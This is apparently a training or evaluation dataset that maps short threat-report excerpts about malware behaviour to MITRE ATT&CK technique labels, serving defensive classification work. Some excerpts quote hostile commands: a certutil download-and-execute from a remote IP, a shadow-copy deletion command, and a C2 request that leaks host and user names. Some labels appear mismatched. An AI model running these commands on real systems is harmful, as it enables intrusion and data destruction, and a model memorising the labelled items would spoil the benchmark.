QCRI/TechniqueRAG-Datasets huggingface dataset:
Threat description: 
The plugin URL is stored in file in following format:  /plugin/index.php?plugin=<Plugin_Name>  The following plugins are found in the memory of the Zyklon malware:  /plugin/index.php?plugin=cuda /plugin/index.php?plugin=minerd /plugin/index.php?plugin=sgminer /plugin/index.php?plugin=socks /plugin/index.php?plugin=tor /plugin/index.php?plugin=games /plugin/index.php?plugin=software /plugin/index.php?plugin=ftp /plugin/index.php?plugin=email /plugin/index.php?plugin=browser  The downloaded plugins are injected into: Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
MITRE ATT&CK techniques:
- T1027.002: Obfuscated Files or Information - Software Packing
- T1068: Exploitation for Privilege Escalation
Threat description: 
may create a .lnk file to itself that is saved in the Start menu folder. It may also create the Registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ IMJPMIJ8.1{3 characters of Unique Identifier}.
MITRE ATT&CK techniques:
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: 
has used a plug-in to gather credentials stored in files on the host by various software programs, including The Bat! email client, Mozilla password manager, Google Chrome password manager, Outlook, Internet Explorer, and Windows Credential Store.
MITRE ATT&CK techniques:
- T1552.001: Unsecured Credentials - Credentials In Files
Threat description: 
Mouse Pointer Check The Trojan will perform the following WMI query:   Select * from Win32_PointingDevice   The Trojan will check the Caption, Description, HardwareType, InfSection, Manufacturer and Name fields in the results for the string VMware, Virtual, VBox, VM or Oracle
MITRE ATT&CK techniques:
- T1497.001: Virtualization/Sandbox Evasion - System Checks
- T1497: Virtualization/Sandbox Evasion
Threat description: 
can dump process memory and extract clear-text credentials.
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
uses  to list TCP connection status.
MITRE ATT&CK techniques:
- T1049: System Network Connections Discovery
Threat description: 
actors used the following command after exploiting a machine with  malware to acquire information about local networks: ipconfig /all >> %temp%\download
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
Threat description: 
collects registered owner details by using the commands systeminfo and net config workstation.
MITRE ATT&CK techniques:
- T1033: System Owner/User Discovery
Threat description: 
DPAPI module can harvest protected credentials stored and/or cached by browsers and other user applications by interacting with Windows cryptographic application programming interface (API) functions.
MITRE ATT&CK techniques:
- T1552.001: Unsecured Credentials - Credentials In Files
Threat description: 
can enumerate services.
MITRE ATT&CK techniques:
- T1007: System Service Discovery
Threat description: 
One of the malware families tied to this group, BADNEWS, continues to be updated both in how it uses dead drop resolvers, as well as how it communicates with a remote C2 server
MITRE ATT&CK techniques:
- T1102: Web Service
Threat description: 
modifies the tty_tickets line in the sudoers file.
MITRE ATT&CK techniques:
- T1548.003: Abuse Elevation Control Mechanism - Sudo and Sudo Caching
Threat description: 
Both “%APPDATA%\\Microsoft\Windows\Cookies.txt” and “%APPDATA%\\Microsoft\Windows\Cookies.exe” are then deleted
MITRE ATT&CK techniques:
- T1070.004: Indicator Removal - File Deletion
Threat description: 
Here is the code:The goal of this code is to get information from the properties of the document ("Subject", "Company", "Category", "Hyperlink base" and finally "Comments")
MITRE ATT&CK techniques:
- T1140: Deobfuscate/Decode Files or Information
Threat description: 
Example of decoded keylogger output
MITRE ATT&CK techniques:
- T1056: Input Capture
Threat description: 
may collect process information by running tasklist on a victim.
MITRE ATT&CK techniques:
- T1057: Process Discovery
Threat description: 
After decompiling it from the PE file, it is heavily obfuscated and still almost unreadable.We deobfuscated the script to understand how the infection process works
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
has leveraged both Spearphishing Link and Spearphishing Attachment attempting to gain User Execution.
MITRE ATT&CK techniques:
- T1204: User Execution
Threat description: 
The macro contains a PowerShell script to persist in the "Run" registry key, "KCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemTextEncoding".
MITRE ATT&CK techniques:
- T1546.013: Event Triggered Execution - PowerShell Profile
- T1059.001: Command and Scripting Interpreter - PowerShell
Threat description: 
One  variant decrypts an archive using an RC4 key, then decompresses and installs the decrypted malicious DLL module. Another variant decodes the embedded file by XORing it with the value "0x35".
MITRE ATT&CK techniques:
- T1140: Deobfuscate/Decode Files or Information
Threat description: 
can use multiple C2 channels, including RSS feeds, Github, forums, and blogs.  also collects C2 information via a dead drop resolver.
MITRE ATT&CK techniques:
- T1102: Web Service
Threat description: 
The  malware uses custom Base64 encoding schemes to obfuscate data command and control traffic in the message body of HTTP requests.
MITRE ATT&CK techniques:
- T1001: Data Obfuscation
Threat description: 
Unpacks the code in memory via process hollowing
MITRE ATT&CK techniques:
- T1055.012: Process Injection - Process Hollowing
Threat description: 
takes screenshots of the user's desktop.
MITRE ATT&CK techniques:
- T1113: Screen Capture
Threat description: 
Visitors are asked to download the “University Of Oxford Job Symposium Pre-Register Tool”:  The downloaded file (which is also signed with an AI Squared certificate), is a fake registration tool built by the attackers: OxfordSymposiumRegTool.exe f77ee804de304f7c3ea6b87824684b33 If run by the victim, their computer would get infected, while they are shown this registration process:    Note that after completing the “registration process”, the victim is asked to send the form to an email address in oxford-careers[.]com, which also belongs to the attackers
MITRE ATT&CK techniques:
- T1057: Process Discovery
Threat description: 
(Source: Dell SecureWorks) Appendix D — Domain name parking example CTU researchers have observed TG-3390 parking domains by pointing their A record to a non-routable IP space, including the 127.0.0.[x] loopback address
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
Threat description: 
collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
can download additional components from the C2 server.
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
DRIVE Lists the logical drives and the type, as well the total/free space of the fixed devices
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: 
supports peer connections.
MITRE ATT&CK techniques:
- T1090: Proxy
Threat description: 
can be used to automate exploitation of SQL injection vulnerabilities.
MITRE ATT&CK techniques:
- T1190: Exploit Public-Facing Application
Threat description: 
is capable of capturing screenshots.
MITRE ATT&CK techniques:
- T1113: Screen Capture
Threat description: 
The Trojan accesses two resources, named Sch and VBS that contains obfuscated strings that contain the command to create the scheduled task and the VBScript to run
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
collects information on bookmarks from Google Chrome.
MITRE ATT&CK techniques:
- T1217: Browser Information Discovery
Threat description: 
Command  Action    sign  Requests system information    settings  Requests settings from C2 server    logs  Uploads harvested passwords    wallet  Uploads harvested cryptocurrency wallet data    proxy  Indicates SOCKS proxy port opened    miner  Cryptocurrency miner commands    error  Reports errors to C2 server    ddos  DDoS attack commands    Table 1: Zyklon accepted commands The following figures show the initial request and subsequent server response for the “settings” (Figure 13), “sign” (Figure 14), and “ddos” (Figure 15) commands
MITRE ATT&CK techniques:
- T1090: Proxy
- T1059: Command and Scripting Interpreter
Threat description: 
disables the Windows firewall before binding to a port.
MITRE ATT&CK techniques:
- T1562.001: Impair Defenses - Disable or Modify Tools
Threat description: 
has used to use DLL side-loading to evade anti-virus and to maintain persistence on a victim.
MITRE ATT&CK techniques:
- T1574.002: Hijack Execution Flow - DLL Side-Loading
Threat description: 
The DDE instructions attempt to run the following the following command on the victim host, which attempts to download and execute a payload from a remote server:       C:\\Programs\\Microsoft\\MSOffice\\Word.exe\\..\\..\\..\\..\\Windows\\System32\\rundll32.exeC:\\Windows\\System32\\shell32.dll,ShellExec_RunDLLC:\\Windows\\System32\\cmd.exe /k certutil -urlcache -split -fhxxp://220.158.216[.]127/MScertificate.exe & MScertificate.exe"     During our analysis, we observed this DDE downloading and executing a Zebrocy AutoIt downloader (f27836430…), configured to attempt to download an additional payload from 220.158.216[.]127
MITRE ATT&CK techniques:
- T1036: Masquerading
- T1105: Ingress Tool Transfer
Threat description: 
saves one of its files as mpr.dll in the Windows folder, masquerading as a legitimate library file.
MITRE ATT&CK techniques:
- T1036: Masquerading
Threat description: 
Some  samples encrypt C2 communications with RC4.
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
Threat description: 
To decode this information, BADNEWS takes the following steps:  Base64-decode the string Perform the decoding cipher used in previous versions Base64-decode the result Decrypt the result using the Blowfish algorithm and a static key  A script, which is included in the Appendix, will decrypt data from these dead drop resolvers
MITRE ATT&CK techniques:
- T1140: Deobfuscate/Decode Files or Information
Threat description: 
has the capability to delete files.
MITRE ATT&CK techniques:
- T1070.004: Indicator Removal - File Deletion
Threat description: 
The AES key is unique for each communication and is encrypted with one of two RSA public keys
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
Threat description: 
used an HTTP malware variant and a Port 22 malware variant to collect the MAC address and IP address from the victim’s machine.
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
Threat description: 
Anyconnect[.]stream Bigip[.]stream Fortiweb[.]download Kaspersky[.]science microtik[.]stream owa365[.]bid symanteclive[.]download windowsdefender[.]win  The listed C2 servers all resolved to IPs belonging to a service provider in China at 1.2.9.0/24, which is the IP address used by the C2 server to send a cancel communications message to the end system
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
The mechanism for downloading additional components is based on the Computer Name and UserName of the endpoint provided by the malware process to the control server in the following HTTP GET request: GET http://ink[dot]inkboom.co.kr/host/img/jpg/download.php?filename=<Computer_Name>_<username>&continue=dnsadmin After successfully retrieving the component from the control server, the next-stage payload is copied to the Application Data directory of the current user and executed: C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\hupdate.ex (note “ex,” not “exe”)  The capability to download additional components from the control server
MITRE ATT&CK techniques:
- T1033: System Owner/User Discovery
- T1105: Ingress Tool Transfer
Threat description: 
gathers credentials in files for chrome, 1password, and keychains.
MITRE ATT&CK techniques:
- T1552.001: Unsecured Credentials - Credentials In Files
Threat description: 
injects itself into the secure shell (SSH) process.
MITRE ATT&CK techniques:
- T1055: Process Injection
Threat description: 
Several  malware families gather a list of running processes on a victim system and send it to their C2 server. A Destover-like variant used by  also gathers process times.
MITRE ATT&CK techniques:
- T1057: Process Discovery
Threat description: 
A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
To move laterally on a victim network,  has used credentials stolen from various systems on which it gathered usernames and password hashes.
MITRE ATT&CK techniques:
- T1078: Valid Accounts
Threat description: 
malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers.  malware RomeoDelta copies specified directories from the victim's machine, then archives and encrypts the directories before uploading to its C2 server.
MITRE ATT&CK techniques:
- T1005: Data from Local System
Threat description: 
establishes persistence via a .lnk file in the victim’s startup path.
MITRE ATT&CK techniques:
- T1547.009: Boot or Logon Autostart Execution - Shortcut Modification
Threat description: 
After the encryption of file, it will delete shadow copies with the command “ vssadmin delete shadows /all ” to ensure that all the data cannot be restored easily.
MITRE ATT&CK techniques:
- T1485: Data Destruction
Threat description: 
Perhaps they plan to pair this stealer with another dropper that maintains the WMI anti-AV functionality
MITRE ATT&CK techniques:
- T1047: Windows Management Instrumentation
Threat description: 
Several commands are supported by the 's implant via the command-line interface and there’s also a utility to execute any custom command on an infected endpoint.
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
can download a hosted "beacon" payload using .
MITRE ATT&CK techniques:
- T1197: BITS Jobs
Threat description: 
searches and reads the value of the Windows Update Registry Run key.
MITRE ATT&CK techniques:
- T1012: Query Registry
Threat description: 
has used tools to perform keylogging.
MITRE ATT&CK techniques:
- T1056: Input Capture
Threat description: 
Exploits  CVE-2017-0143, SMB exploit CVE-2017-0146, SMB exploit  These 2 exploits are EternalBlue/Doublepulsar and are used to drop the Stage1 Dropper onto a system.  Installation The Gh0stRAT dropper arrives on a PC through the use of EternalBlue/DoublePulsar.  Once on a victim’s PC, the dropper executable is launched and it decrypts and loads the Gh0stRAT DLL into memory.  It then passes the config buffer to the extracted DLL and calls the exported function (Shellex)  [Screenshot 2] The mainthread of the code.  Note the call at the bottom that calls Shellex Gh0stRAT dll functionality An important note:  In its base state, this sample is damaged, therefore it will not install its services properly.  However, as the service information is included, I will list it anyways.  Additionally, samples downloaded from its distribution server DO install correctly,  and are downloaded during the base dll’s runtime
MITRE ATT&CK techniques:
- T1574.001: Hijack Execution Flow - DLL Search Order Hijacking
- T1574.002: Hijack Execution Flow - DLL Side-Loading
- T1203: Exploitation for Client Execution
Threat description: 
persists through a scheduled task that executes it every minute.
MITRE ATT&CK techniques:
- T1053.005: Scheduled Task/Job - Scheduled Task
Threat description: 
automatically collects data about the victim and sends it to the control server.
MITRE ATT&CK techniques:
- T1119: Automated Collection
Threat description: 
sent spearphishing emails with malicious attachments in RTF and XLSM formats to deliver initial exploits.
MITRE ATT&CK techniques:
- T1598.002: Phishing for Information - Spearphishing Attachment
Threat description: 
Attack Overview The attack starts with Microsoft Word documents containing a malicious VBA macro being attached to spear phishing emails
MITRE ATT&CK techniques:
- T1598.002: Phishing for Information - Spearphishing Attachment
Threat description: 
Some  variants incorporate an MBR rootkit.
MITRE ATT&CK techniques:
- T1542.003: Pre-OS Boot - Bootkit
Threat description: 
collects files from the local system.
MITRE ATT&CK techniques:
- T1005: Data from Local System
Threat description: 
has a VBScript for execution.
MITRE ATT&CK techniques:
- T1064: Scripting
Threat description: 
Enterprises can benefit from Trend Micro’s Smart Protection Suites with XGen security, which infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint
MITRE ATT&CK techniques:
- T1518.001: Software Discovery - Security Software Discovery
Threat description: 
The main purpose of the IGT tool is to make an inventory of the system, saving information from the network interfaces and addresses, credentials belonging to the Domain and database server, services being run from the OS and everything that could help the Poseidon Group make its attack more customized to its victim
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
uses HTTP/HTTPS for command and control communication.
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
For instance, the following 15 bytes were used to generate an HTTP parameter during our analysis:    Random Value Constant Value agent_id   0F EE C8 83 56 0E 9F F0 EB 98 43 30 30 30 30    The resulting ciphertext is then encoded using XAgent’s base64 encoding routine that starts by building the following encoding alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_ As you can see, this is not the standard base64 alphabet, rather it is the “URL and Filename safe” Base 64 Alphabet from RFC 4648, as the “+” in the standard alphabet is replaced with “-” and the “/” replaced with “_”
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
- T1132: Data Encoding
Threat description: 
version of  communicates with their server over a TCP port using HTTP payloads Base64 encoded and suffixed with the string “&&&”
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
creates a backdoor through which remote attackers can monitor processes.
MITRE ATT&CK techniques:
- T1057: Process Discovery
Threat description: 
has a command to collect victim system information, including the system name and OS version.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
These documents contained malicious OLE objects used to drop binaries.This time, however, they contained malicious OLE (Object Link Embedded) objects.Initial analysis confirmed two similarly sized OLE object files within this document which appeared to be the same from an execution point of view.The two dropped binaries were stored and executed in this location during our analysis:C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (2).exeC:\Users\ADMINI~1\AppData\Local\Temp\Hwp (3).exeInitial analysis showed some sloppy cleaning up from Group123, which we used later to determine that separate campaigns were the work of this same actor, as compilation artifacts remained within the binaries:e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdbThe second stage of the dropped binaries was used to execute wscript.exe while injecting shellcode into this process
MITRE ATT&CK techniques:
- T1204: User Execution
Threat description: 
can list directory contents.
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: 
the victim's internal network for hosts with ports 8080, 5900, and 40 open.
MITRE ATT&CK techniques:
- T1046: Network Service Discovery
Threat description: 
has used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server.
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
Threat description: 
can obtain the victim time zone.
MITRE ATT&CK techniques:
- T1124: System Time Discovery
Threat description: 
The  credential dumper contains an implementation of an SSP.
MITRE ATT&CK techniques:
- T1547.005: Boot or Logon Autostart Execution - Security Support Provider
Threat description: 
has used RAR to compress, encrypt, and password-protect files prior to exfiltration.
MITRE ATT&CK techniques:
- T1560: Archive Collected Data
- T1486: Data Encrypted for Impact
Threat description: 
In one instance,  added  as a service with a display name of "Corel Writing Tools Utility."
MITRE ATT&CK techniques:
- T1036: Masquerading
Threat description: 
CTU researchers identified BRONZE UNION actors using a file named ms.exe that was likely a credential-abuse tool from the Kekeo toolset
MITRE ATT&CK techniques:
- T1036: Masquerading
Threat description: 
captured audio and sent it out to a C2 server.
MITRE ATT&CK techniques:
- T1123: Audio Capture
Threat description: 
creates a scheduled task on the system that provides persistence.
MITRE ATT&CK techniques:
- T1053.005: Scheduled Task/Job - Scheduled Task
Threat description: 
Deletion of all registry keys associated with the extraction of the SFX RAR Deletion of the User Assist Key entries related to applications that have been recently executed Deletion of all registry keys relating to services that have recently run  Clearly the attacker using this PlugX is paranoid about it being detected on disk, both in the registry and the file system
MITRE ATT&CK techniques:
- T1112: Modify Registry
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
- T1012: Query Registry
Threat description: 
Available Commands The XAgent C2 server will provide commands for the Trojan to run on the compromised system within its response to inbound HTTP request
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1059: Command and Scripting Interpreter
Threat description: 
binds to a raw socket on a random source port between 31800 and 31900 for C2.
MITRE ATT&CK techniques:
- T1095: Non-Application Layer Protocol
Threat description: 
checks for the presence of certain security-related processes and deletes its installer/uninstaller component if it identifies any of them.
MITRE ATT&CK techniques:
- T1518.001: Software Discovery - Security Software Discovery
Threat description: 
will zip up the /Library/Keychains directory before exfiltrating it.
MITRE ATT&CK techniques:
- T1560: Archive Collected Data
Threat description: 
Its C2 is based on IIS using .asp technology to handle the victims’ HTTP requests
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
persists by creating a Registry entry in HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\.
MITRE ATT&CK techniques:
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: 
The built-in Windows utility rundll32.exe is then used to load this DLL by the original .lnk file
MITRE ATT&CK techniques:
- T1218.011: System Binary Proxy Execution - Rundll32
- T1547.009: Boot or Logon Autostart Execution - Shortcut Modification
Threat description: 
The adversaries can get detailed information about the victim's machine, as you can see in the screenshot below.Beside the system information, it steals passwords from common web browsers, Filezilla, Beyluxe Messenger, CoreFTP and the video game "Minecraft." It also starts a keylogger, steals clipboard content, takes screenshots from the desktop and pictures from the webcam
MITRE ATT&CK techniques:
- T1113: Screen Capture
- T1003: OS Credential Dumping
- T1082: System Information Discovery
- T1125: Video Capture
Threat description: 
can search files on a victim.
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: 
The  credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The LSADUMP::ChangeNTLM and LSADUMP::SetNTLM modules can also manipulate the password hash of an account without knowing the clear text value.
MITRE ATT&CK techniques:
- T1098: Account Manipulation
Threat description: 
removed certain files and replaced them so they could not be retrieved.
MITRE ATT&CK techniques:
- T1070.004: Indicator Removal - File Deletion
Threat description: 
A  configuration file is encrypted with a simple XOR key, 0x53.
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
This group was observed using tactics such as registering typosquatting domains for security or technology vendors, abusing open-source penetration testing tools, and leveraging novel file types as anti-analysis techniques
MITRE ATT&CK techniques:
- T1518.001: Software Discovery - Security Software Discovery
Threat description: 
has used rundll32.exe in a Registry value to establish persistence.
MITRE ATT&CK techniques:
- T1218.011: System Binary Proxy Execution - Rundll32
Threat description: 
HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
Like past attacks, the initial infection vector is a malicious Word document attached to a phishing email that is well-tailored to the targeted business and its day-to-day operations
MITRE ATT&CK techniques:
- T1598.002: Phishing for Information - Spearphishing Attachment
Threat description: 
executes batch scripts on the victim’s machine.
MITRE ATT&CK techniques:
- T1064: Scripting
Threat description: 
The Poison Frog server handles both the HTTP and DNS tunneling channels used by the hUpdater.ps1 and dUpdater.ps1 scripts
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol